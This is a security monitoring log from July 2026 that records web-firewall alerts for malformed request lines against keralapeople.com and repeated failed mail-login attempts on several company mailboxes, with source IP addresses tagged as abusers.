rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.244.85.4
country_id: 2245662
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c03726494 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.23.124.190
country_id: 587116
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c62304311 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.106.31.244
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/543487743 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.82.18.107
country_id: 2245662
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/503069756 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.87.121
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/54558706 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-16 23:31:36 dovecot_login authenticator failed for H=([103.181.5.124]) [125.23.204.74]:57580: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.91.229.162
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/551439865 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.28.215
country_id: 1269750
description:
2026-07-16 23:31:56 dovecot_login authenticator failed for H=([119.207.30.60]) [49.206.28.215]:23398: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.177.157.87
country_id: 294640
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/551679805 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.135.25.57
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/551735334 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.211.72.103
country_id: 2077456
description:
2026-07-16 23:33:55 dovecot_login authenticator failed for H=([222.71.122.90]) [118.211.72.103]:35848: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.96.54.194
country_id: 290557
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/571814757 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-16 23:34:11 dovecot_login authenticator failed for H=([122.53.106.124]) [203.192.211.180]:56340: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-16 23:34:25 dovecot_login authenticator failed for H=([184.181.217.198]) [102.210.148.41]:49472: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.44.118.135
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/592191583 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.163.96.71
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/63466303 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-16 23:36:21 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com ([125.61.5.77]) [168.91.173.57]:34218: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-16 23:36:32 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([68.233.177.188]) [80.1.51.168]:45364: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-07-16 23:37:34 dovecot_login authenticator failed for H=([68.113.199.243]) [154.146.240.123]:55048: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.2.183
country_id: 1668284
description:
2026-07-16 23:37:38 dovecot_login authenticator failed for H=([68.71.243.10]) [101.13.2.183]:35334: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.43.179.194
country_id: 2510769
description:
2026-07-16 23:38:00 dovecot_login authenticator failed for H=194.red-81-43-179.staticip.rima-tde.net ([102.210.149.157]) [81.43.179.194]:45528: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.166.81.12
country_id: 1522867
description:
2026-07-16 23:39:15 dovecot_login authenticator failed for H=([192.252.210.237]) [213.166.81.12]:1128: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-16 23:39:42 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca ([14.48.112.8]) [208.96.233.67]:47238: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-16 23:40:24 dovecot_login authenticator failed for H=([106.13.181.87]) [197.219.228.242]:59398: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-16 23:40:29 dovecot_login authenticator failed for H=([213.100.195.144]) [41.89.128.6]:46408: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.204.196.115
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/711906431 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-16 23:40:49 dovecot_login authenticator failed for H=([222.186.68.153]) [175.200.217.128]:38080: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.182
country_id: 1733045
description:
2026-07-16 23:40:54 dovecot_login authenticator failed for H=([49.124.151.57]) [49.124.155.182]:51104: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-16 23:41:01 dovecot_login authenticator failed for H=(pppoe-static.mosoblast.rt.ru) [196.188.93.169]:5556: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 122.117.195.212
country_id: 1668284
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/771519066 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.162.61.229
country_id: 1835841
description:
2026-07-16 23:46:20 dovecot_login authenticator failed for H=([222.209.184.114]) [121.162.61.229]:63442: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.64.237
country_id: 1835841
description:
2026-07-16 23:46:31 dovecot_login authenticator failed for H=(241.red-81-33-74.dynamicip.rima-tde.net) [1.241.64.237]:43170: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.228.248
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/801893654 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.189.92.227
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/83888178 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.65.70.158
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/852598282 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.195
country_id: 1835841
description:
2026-07-16 23:50:39 dovecot_login authenticator failed for H=([178.178.222.50]) [183.104.220.195]:53642: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-16 23:51:11 dovecot_login authenticator failed for H=([223.107.72.234]) [103.176.160.146]:48090: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.249.245.64
country_id: 630336
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/962043165 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.3.81.110
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9a1124279 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-16 23:56:16 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-169.179.23.125.airtelbroadband.in) [94.16.17.139]:37582: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.37.199.239
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a2691858 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.211.113.223
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c61712023 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.229.33.174
country_id: 3508796
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c71849859 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-17 00:01:36 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([177.174.16.55]) [148.170.156.248]:43056: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-17 00:01:48 dovecot_login authenticator failed for H=([220.86.176.134]) [171.244.60.35]:12811: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-17 00:01:13 dovecot_login authenticator failed for H=(119.92.172.100.static.pldt.net) [152.52.198.42]:39242: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.46
country_id: 1668284
description:
2026-07-17 00:01:29 dovecot_login authenticator failed for H=111-70-32-46.emome-ip.hinet.net ([221.224.133.98]) [111.70.32.46]:55269: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.183
country_id: 1668284
description:
2026-07-17 00:01:53 dovecot_login authenticator failed for H=111-70-49-183.emome-ip.hinet.net ([95.52.199.137]) [111.70.49.183]:55032: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.2.250
country_id: 1269750
description:
2026-07-17 00:02:16 dovecot_login authenticator failed for H=([63.78.215.208]) [117.205.2.250]:34668: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 83.53.180.77
country_id: 2510769
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d33479645 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.233.177.188
country_id: 6252001
description:
2026-07-17 00:04:57 dovecot_login authenticator failed for H=([91.229.67.20]) [68.233.177.188]:54252: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.110.74.235
country_id: 2658434
description:
2026-07-17 00:05:05 dovecot_login authenticator failed for H=([220.154.134.180]) [185.110.74.235]:42786: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.203.41.114
country_id: 2287781
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d91685318 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.134
country_id: 1668284
description:
2026-07-17 00:05:58 dovecot_login authenticator failed for H=110-25-110-134.adsl.fetnet.net ([192.111.137.33]) [110.25.110.134]:50004: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-17 00:06:09 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([210.22.149.155]) [89.67.37.52]:38403: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 67.193.196.14
country_id: 6251999
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e12902366 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-17 00:07:51 dovecot_login authenticator failed for H=([182.79.31.79]) [172.191.74.151]:53074: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-17 00:07:20 dovecot_login authenticator failed for H=(cpc1-ersk4-2-0-cust471.know.cable.virginm.net) [128.185.235.110]:57706: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-17 00:07:41 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [41.215.125.250]:50010: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.193.133.231
country_id: 953987
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ef2774423 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.226.204.155
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f41839632 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.231.159.72
country_id: 285570
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f92006258 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.82.142.85
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/082315642 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.67.139.99
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/15857709 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.42.137.39
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/162390487 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.208.40.91
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/191502953 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.0.127.4
country_id: 1835841
description:
2026-07-17 00:16:44 dovecot_login authenticator failed for H=([49.125.201.63]) [59.0.127.4]:60734: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


